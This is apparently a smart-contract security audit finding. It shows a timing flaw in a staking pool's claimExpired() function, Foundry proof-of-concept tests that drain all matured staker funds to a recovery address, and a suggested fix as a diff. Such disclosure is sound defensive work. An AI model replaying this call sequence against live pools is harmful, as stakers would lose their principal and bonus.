When a pool reaches its configured expiry without corruption, stakers are entitled to an EXPIRED settlement that returns principal and bonus. claimExpired() samples the live registry state at call time rather than the state that existed when the pool term ended. If the pool remains unresolved past expiry and the registry transitions to CORRUPTED only after the coverage period, the function can finalize bad-faith CORRUPTED and redirect all staker funds to recoveryAddress. The issue occurs when riskWindowStart is nonzero (which can be established by a post-expiry pokeRiskWindow() call that caps the timestamp to expiry) and the registry becomes CORRUPTED after the pool term. During the 180-day grace period, claimExpired() reverts and blocks staker settlement. After the grace period, any caller can finalize CORRUPTED and sweep the entire pool balance through claimCorrupted().
function claimExpired() external nonReentrant {
if (block.timestamp < expiry) revert PoolNotExpired();
if (outcome != PoolStates.Outcome.UNRESOLVED && outcome != PoolStates.Outcome.EXPIRED) {
revert InvalidOutcome();
}
if (outcome == PoolStates.Outcome.UNRESOLVED) {
@> IAttackRegistry.ContractState state = _observePoolState();
snapshotTotalStaked = totalEligibleStake;
snapshotTotalBonus = totalBonus;
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
@> if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
@> if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
@> revert AgreementCorruptedAwaitingModerator();
@> }
outcome = PoolStates.Outcome.CORRUPTED;
outcomeFlaggedAt = riskWindowEnd;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
emit OutcomeFlagged(address(0), PoolStates.Outcome.CORRUPTED, false, address(0));
return;
}
}
}
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
contract PostExpiryCorruptionPoC is BaseConfidencePoolTest {
function testPoC_PostExpiryCorruptionReplacesExpiredPayoutWithRecoverySweep() public {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 40 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 poolFundsAtMaturity = token.balanceOf(address(pool));
vm.warp(uint256(pool.expiry()) - 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertLt(block.timestamp, uint256(pool.expiry()), "risk was observed before expiry");
assertGt(pool.riskWindowStart(), 0, "risk gate is satisfied before maturity");
vm.warp(uint256(pool.expiry()));
uint256 snapshotId = vm.snapshotState();
uint256 aliceBeforeTimelyClaim = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
uint256 timelyPayout = token.balanceOf(alice) - aliceBeforeTimelyClaim;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "timely outcome");
assertEq(timelyPayout, poolFundsAtMaturity, "matured principal + bonus owed at expiry");
assertTrue(vm.revertToState(snapshotId), "restore unresolved pool at expiry");
vm.warp(uint256(pool.expiry()) + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
uint256 daveBefore = token.balanceOf(dave);
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "late outcome");
assertEq(token.balanceOf(dave), daveBefore, "permissionless resolver is not paid");
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
pool.claimCorrupted();
uint256 recoveryGain = token.balanceOf(recovery) - recoveryBefore;
assertEq(recoveryGain, poolFundsAtMaturity, "all matured staker funds swept to recovery");
assertEq(token.balanceOf(address(pool)), 0, "pool drained");
assertEq(token.balanceOf(alice), 0, "staker lost the matured claim");
vm.prank(alice);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.claimExpired();
}
function testPoC_PostExpiryPokeCanCreateTheObservedRiskGateForPostTermAttack() public {
uint256 stakeAmount = 100 * ONE;
uint256 bonusAmount = 40 * ONE;
_stake(alice, stakeAmount);
_contributeBonus(carol, bonusAmount);
uint256 poolFundsAtMaturity = token.balanceOf(address(pool));
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.warp(uint256(pool.expiry()));
uint256 snapshotId = vm.snapshotState();
uint256 aliceBeforeTimelyClaim = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
uint256 timelyPayout = token.balanceOf(alice) - aliceBeforeTimelyClaim;
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "timely outcome");
assertEq(pool.riskWindowStart(), 0, "no active-risk was observed by maturity");
assertEq(timelyPayout, stakeAmount, "matured principal owed at expiry");
assertTrue(vm.revertToState(snapshotId), "restore unresolved pool at expiry");
vm.warp(uint256(pool.expiry()) + 1 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.prank(dave);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), pool.expiry(), "post-expiry poke is capped to expiry");
vm.warp(uint256(pool.expiry()) + 2 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(alice);
vm.expectRevert(IConfidencePool.AgreementCorruptedAwaitingModerator.selector);
pool.claimExpired();
vm.warp(uint256(pool.expiry()) + pool.MODERATOR_CORRUPTED_GRACE());
vm.prank(dave);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED), "post-term corrupted outcome");
assertEq(pool.riskWindowEnd(), pool.expiry(), "post-term terminal observation also caps to expiry");
uint256 recoveryBefore = token.balanceOf(recovery);
vm.prank(dave);
pool.claimCorrupted();
uint256 recoveryGain = token.balanceOf(recovery) - recoveryBefore;
assertEq(recoveryGain, poolFundsAtMaturity, "principal and bonus swept to recovery");
assertEq(token.balanceOf(alice), 0, "staker receives none of the matured principal");
assertLt(token.balanceOf(alice), timelyPayout, "staker is worse off than timely EXPIRED settlement");
}
}
The PoC passes and demonstrates that matured staker funds can be lost if an unresolved pool is corrupted after expiry. In the delayed path, claimExpired finalizes CORRUPTED after the moderator grace period, and claimCorrupted sweeps all pool principal and bonus to recoveryAddress. The tests also show that timely claimExpired at expiry would have paid the staker instead.
Separate term-bounded evidence from capped payout timestamps. Record uncapped observation times for active-risk and CORRUPTED states, and allow mechanical CORRUPTED finalization only when corruption is known to have occurred no later than expiry. Do not let a post-expiry pokeRiskWindow() create auto-corruption eligibility. If no authoritative pre-expiry corruption evidence is available, finalize EXPIRED or leave only moderator resolution during the grace window.
+ uint256 internal corruptionObservedAt;
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
// ... scope lock and risk-window logic
+ if (corruptionObservedAt == 0 && state == IAttackRegistry.ContractState.CORRUPTED) {
+ corruptionObservedAt = block.timestamp;
+ }
}
function claimExpired() external nonReentrant {
// ... expiry and outcome checks
if (outcome == PoolStates.Outcome.UNRESOLVED) {
IAttackRegistry.ContractState state = _observePoolState();
// ... snapshot logic
- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (state == IAttackRegistry.ContractState.CORRUPTED && corruptionObservedAt != 0 && corruptionObservedAt <= expiry) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
// ... finalize CORRUPTED
}
// ... SURVIVED and EXPIRED branches
}
// ... claim payout logic
}